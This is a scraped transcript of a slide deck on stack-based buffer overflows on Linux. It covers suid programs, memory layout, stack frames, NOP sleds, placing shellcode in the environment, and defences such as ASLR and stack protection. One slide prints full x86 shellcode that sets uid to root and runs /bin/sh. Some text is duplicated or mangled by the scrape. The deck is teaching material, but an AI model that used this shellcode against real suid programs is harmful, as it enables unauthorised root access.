buffer overflows : an in-depth analysis. introduction buffer overflows were understood as early as...

38
Buffer Overflows : An In-depth Analysis

Upload: kelley-barber

Post on 31-Dec-2015

242 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Buffer Overflows : An In-depth Analysis

Page 2: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Introduction

Buffer overflows were understood as early as 1972

The legendary Morris Worm made use of a Buffer overflow exploit in fingerd in 1988

Programming languages commonly associated with buffer overflows include C and C++

A buffer overflow occurs when data written to a buffer, due to insufficient bounds checking, corrupts data values in memory addresses adjacent to the allocated buffer

A buffer overflow occurs when data written to a buffer, due to insufficient bounds checking, corrupts data values in memory addresses adjacent to the allocated buffer

Most commonly this occurs when copying strings of characters from one buffer to another

Result in erratic program behavior, including memory access errors, incorrect results, program termination , or a breach of system security.

In 2003, buffer overflows present in licensed Xbox games have been exploited to allow unlicensed software

Page 3: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Buffer Overflows

AA LL II CC EE 00 77

Name[9] Age[2]

\0\0

Who the programmer was expecting…

Name: AliceAge : 7

Page 4: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Buffer Overflows

FF RR AA NN KK SS EE II

Name[9] Age[2]

TTEE NN

And who showed up uninvited…

Name: FrankensteinAge : ?

N

Page 5: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Introduction

Exploitation

The techniques to exploit a buffer overflow vulnerability vary per architecture, operating system and memory region

• Stack Based Buffer Overflows • Heap Based Buffer Overflows

Result in erratic program behavior, including memory access errors, incorrect results, program termination , or a breach of system security.

duh!

Now this is what I’m talking about !

Page 6: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Analysis of Stack Based Buffer Overflows on Linux

Introduction

Users, Groups and the Super User

File Access Control and Permissions

Suid Programs

Memory

Program Memory Segmentation

Shellcode

Program I

Program II

Defense

Page 7: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Users, Groups and the Super User

User

Hercules

Hercules Athena Zeus

Groups

Group Gods

Hercules Odysseus Perseus

Group Mortals

Page 8: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Users, Groups and the Super User

In Unix-style computer operating systems, root is the conventional name of the user who has all rights or permissions (to all files and programs) in all modes (single- or multi-user)

The root user can do many things an ordinary user cannot, such as changing the ownership of files and binding to network ports numbered below 1024.

The Root User

Page 9: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

File Access Control and Permissions

User Group Others

Page 10: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

File Access Control and Permissions

Read Write

Execute

Read Write Read WriteDir

Set G/Uid

Use

r

Gro

up

Oth

ers

Execute

Set G/Uid

Execute

Page 11: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

File Access Control and Permissions

Page 12: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

• Suid Programs

setuid and setgid are Unix access rights flags that allow users to run an executable with the permissions of the executable's owner or group.

When a permission with suid permission is executed, the user’s effective user id (euid) is changed to the program’s owner

Unix programs like mount, passwd etc. are all suid root

Page 13: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

• Suid Programs

Page 14: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Memory

X86 processors use a 32-bit addressing scheme

Variables are places in the memory that store information

Pointers are special type of variables that store memory address locations to reference information

Processor Memory

ESPESP EBPEBP

EIPEIP

Page 15: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Memory

Little Endian and Big Endian

0x785634120x78563412

Little Endian Big Endian

0x123456780x12345678

0x12345678

x86, 6502, Z80, VAX Motorola 6800, 68000, System/370

Page 16: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

BSS contains uninitialized global variables, strings and constantsBoth BSS and Data Segment are of fixed size

Fundamentals

Program Memory Segmentation

Segment where assembled machine language instructions are locatedAlso known as Code SegmentNo write permission to this segmentCan be shared between different copies of Same Program

Store global and static variablesData Segment contains initialized global variables, strings and constants

Used for program variablesVariable size and grows from Lower to Higher memory locations

FILO data structure used to store context during function callsVariable size and grows from Higher to Lower memory locations

Page 17: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

The Stack

Processor

EBP

ESP

Stack Frame

Page 18: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack Frame

When a function is called, information is pushed to the stack and is known as a stack frame

Return Address

Function Parameter n

Function Parameter n-1

EBP

ESP

frame pointer / local base pointer

Saved Frame Pointer

Function Variable 1

Function Variable 2

Function Variable 3

stack pointer

Mem

ory

Sta

ck G

row

th

Page 19: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

• Stack By Example

1

2

3

return address

stack frame pointer

flag

buffer

void test_function(int a,int b, int c) { char flag; char buffer[10];}

void main() { testfunction(1,2,3)}

Sample Program

Page 20: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack By Example - Demo

Page 21: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack By Example - Demo

Page 22: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack By Example

Page 23: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack By Example

Page 24: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack By Example

Page 25: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Stack By Example

EBPEBP return addressreturn

address

return addressreturn

address

Page 26: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Fundamentals

Shellcode

section .data ; section declarationfilepath db "/bin/shXAAAABBBB" ; the stringsection .text ; section declarationglobal _start ; Default entry point for ELF linking

_start:

; setreuid(uid_t ruid, uid_t euid) mov eax, 70 ; put 70 into eax, since setreuid is syscall #70 mov ebx, 0 ; put 0 into ebx, to set real uid to root mov ecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen

; execve(const char *filename, char *const argv [], char *const envp[]) mov eax, 0 ; put 0 into eax mov ebx, filepath ; put the address of the string into ebx mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning) mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset) mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset) mov eax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the ; string into ecx lea edx, [ebx+12] ; Load the address of where the BBBB is in the ; string into edx int 0x80 ; Call the kernel to make the system call happen

section .data ; section declarationfilepath db "/bin/shXAAAABBBB" ; the stringsection .text ; section declarationglobal _start ; Default entry point for ELF linking

_start:

; setreuid(uid_t ruid, uid_t euid) mov eax, 70 ; put 70 into eax, since setreuid is syscall #70 mov ebx, 0 ; put 0 into ebx, to set real uid to root mov ecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen

; execve(const char *filename, char *const argv [], char *const envp[]) mov eax, 0 ; put 0 into eax mov ebx, filepath ; put the address of the string into ebx mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning) mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset) mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset) mov eax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the ; string into ecx lea edx, [ebx+12] ; Load the address of where the BBBB is in the ; string into edx int 0x80 ; Call the kernel to make the system call happen

Page 27: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

Page 28: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

1

2

3

return address

stack frame pointer

flag

buffervoid test_function(int a,int b, int c) { char flag; char buffer[100]; scanf(buffer);}

void main() { testfunction(1,2,3)}

evil buffer

Page 29: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

1

2

3

return address

stack frame pointer

flag

buffer

return here1

2 Run evil code here

Page 30: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

Attacker Code

Return Address toAttacker Code

Structure of the ‘perfect’ Evil Input

return address

stack frame pointer

flag

buffer

Page 31: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

Attacker Code

Repeated Return Addresses toAttacker Code

Structure of the ‘real-world’ Evil Input

NOP Sled

return address

stack frame pointer

flag

buffer

Page 32: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

Page 33: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

123

return addressstack frame pointer

flagbuffer

void test_function(int a,int b, int c) { char flag; char buffer[5]; scanf(buffer);}

void main() { testfunction(1,2,3)}

Shellcode

evil buffer

What if the buffer was small ?

Page 34: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

123

return addressstack frame pointer

flagbuffer

void test_function(int a,int b, int c) { char flag; char buffer[5]; scanf(buffer);}

void main() { testfunction(1,2,3)}

Repeated return address to the shellcode

in the environment

evil buffer

Thou shall use the environment….

environment

ShellcodeShellcode

Page 35: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

Dumping the shellcode in the environment….

int execle(const char *path, const char *arg , ..., char * const envp[]); int execle(const char *path, const char *arg , ..., char * const envp[]);

Finding the return address….

return address = 0xbffffffa – length of shellcode – length of program namereturn address = 0xbffffffa – length of shellcode – length of program name

OR

gdbgdb

Page 36: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Smashing the Stack for fun and profit

Page 37: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

Defense

• Choice of programming language

• Use of safe libraries

• Buffer overflow protection

• Address space layout randomization

The Java and .NET bytecode environments also require bounds checking on all arrays

Nearly every interpreted language will protect against buffer overflows

Performance Versus Safety

Avoid standard library functions which are not bounds checked (strcpy,strcat,gets)

Buffer overflow protection is used to detect the most common buffer overflows by checking that the stack has not been altered

Three such systems are Libsafe, StackGuard and ProPolice gcc patches

Microsoft's Data Execution Prevention mode explicitly protects the pointer to the SEH Exception Handler from being overwritten

Address space layout randomization (ASLR) is a computer security feature which involves arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, randomly in a process' address space.

Page 38: Buffer Overflows : An In-depth Analysis. Introduction Buffer overflows were understood as early as 1972 The legendary Morris Worm made use of a Buffer

References

“The Art of Exploitation” - Jon Erickson Wikipedia

Amal KrishnanDigital Security PracticeCognizant

[email protected]@cognizant.com9895937765

FIN